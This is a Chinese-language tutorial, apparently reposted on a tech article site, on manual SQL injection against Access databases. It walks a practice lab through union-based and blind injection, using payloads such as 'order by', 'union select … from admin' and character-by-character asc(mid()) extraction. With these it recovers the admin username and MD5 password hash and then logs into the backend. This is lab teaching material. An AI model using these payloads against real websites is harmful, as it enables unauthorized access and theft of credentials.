IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> Access数据库手工注入 -> 正文阅读

[大数据]Access数据库手工注入

ACCESS数据库手工注入

access数据库

是一种非常简单但是功能完整的数据库,很适合小型网站创建,可以很轻松管理表和列,有很多管理工具。

access数据库结构?

access数据库是这么个结构: 表名---->列名---->内容数据 他不像其他的数据库一样、里面创建多个数据库然后才是表再是内容、而access的话只有一个库若干张表。

access注入基本流程?

  • 判断有没有注入点

  • 猜解表名

  • 猜解字段

  • 猜解管理员ID值

  • 猜解用户名和密码长度

  • 猜解用户名和密码

    ASP的数据库:SQL sever或者access

判断有没有注入?

  • 加引号法

联合查询法(速度快、兼容性不好)

  1. ? and 1=1 、 and 1=2——判断注入
  2. ? order by …(猜有多少列order by 5回显正确,order by 6报错,则表示有五列)
  3. ? union select 1,2,3,4,5 from admin(猜表名,如果报错就说明表名不存在,将admin换成别的)
  4. ? union select1,2,username,4,password(在数字3,5有回显位即在回显位上进行猜解字段)

靶场手工注入图文

简单寻找注入点

在这里插入图片描述

在URL后面加 and 1=1 原页面无变化

在这里插入图片描述

在URL后面加 and 1=2 后原页面报错无显示

在这里插入图片描述

由此初步判断ID参数存在SQL注入漏洞,可以通过进一步拼接SQL语句进行攻击。

在发现注入点后,通过修改order by参数值,依据回显情况判断表中包含列数:

在这里插入图片描述
在这里插入图片描述

由上图可知表中列数为22,因为但order by 23的时候回显异常。

判断出列数后,接着使用union select语句进行回显。(在不知道任何条件的时候语句如下:SELECT 要查询的字段名 FROM 库名,表名)

在这里插入图片描述
盲猜字段来自表admin,回显字段3和15可以显示,将3或者15的位置改为password。

在这里插入图片描述
在这里插入图片描述
然后拿password去md5解密,即可得到密码:

在这里插入图片描述

access数据库盲注?

判断是什么数据库?

? SQL sever或者access(回显正常是SQL sever回显不正常是access)语句如1

先找数据传参的地方,寻找注入点

1、用来判断数据库

and (select count(*) from msysobjects)>0 回显错误,证明该数据库为access数据:
或者
and exists(select * from msysobjects)>0 回显成功/根据回显消息提示,没有读取数据权限,即该数据库为access

2、查表名,回显正确即表示存在表名admin

and 0<>(select count(*)from andmin)
或者
and exists(select * from admin)

3、判断管理员账号数目(>1回显正确 >2报错 即表示存在一个管理员账号)

and (select count(*) from admin)>0(数字可以修改)

4、查询admin下的adminuid(通过F12查看源代码猜测)是否存在

and 1=(select count(*)from admin where len (adminuid)>0)
判断存在后猜测字段长(=5时回显正确,即字段长=5)
and 1=(select count(*)from admin where len (adminuid)=5)

5、判断密码的字段长(当字段长=16时回显正常)

由于密码都是MD5加密,故长度为16或者32

and 1=(select count(*)from admin where len (adminpwd)>0)

以上可知管理员账号:admin 密码为16位md加密

ASCII码

6、验证账号为admin

一位一位的用大于等于号判断
and (select top 1 asc(mid(adminuid,1,1))from admin)=55
and (select top 1 asc(mid(adminuid,2,1))from admin)=97
and (select top 1 asc(mid(adminuid,3,1))from admin)>1
......

7、一步一步猜解密码16为7a57a5a743894a0e(解密为admin)

and (select top 1 asc(mid(adminpwd,1,1))from admin)>1
and (select top 1 asc(mid(adminpwd,2,1))from admin)>1
......

靶场手工盲注入图文

寻找传参的地方,有三整数型传参,均可注入:

在这里插入图片描述在这里插入图片描述
在这里插入图片描述

接着判断数据库类型

and (select count(*) from msysobjects)>0 

在这里插入图片描述

接着查表名

and 0<>(select count(*)from andmin)

在这里插入图片描述

查完表名判断该表中管理员账号数目,查完为1:

and (select count(*) from admin)>0(数字可以修改)

在这里插入图片描述

查询admin表下的adminuid是否存在以及字段长:

 and 1=(select count(*)from admin where len (adminuid)>0)

在这里插入图片描述在这里插入图片描述

判断密码的字段长,当字段长16时回显正常:

and 1=(select count(*)from admin where len (adminpwd)>0)

在这里插入图片描述以上可知管理员账号:admin 密码为16位md加密

然后

去探寻16位密码,ASCII加密:

and (select top 1 asc(mid(adminpwd,1,1))from admin)>1(数字可修改)
或者
and (select asc(mid(adminpwd,1,1))from admin)>1(数字可修改)

在这里插入图片描述…最后密码为:7a57a5a743894a0e(去md5解密)
综上解出账号:admin 密码:admin

进入admin后台
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2021-11-29 16:23:14  更:2021-11-29 16:25:44 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 10:00:17-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码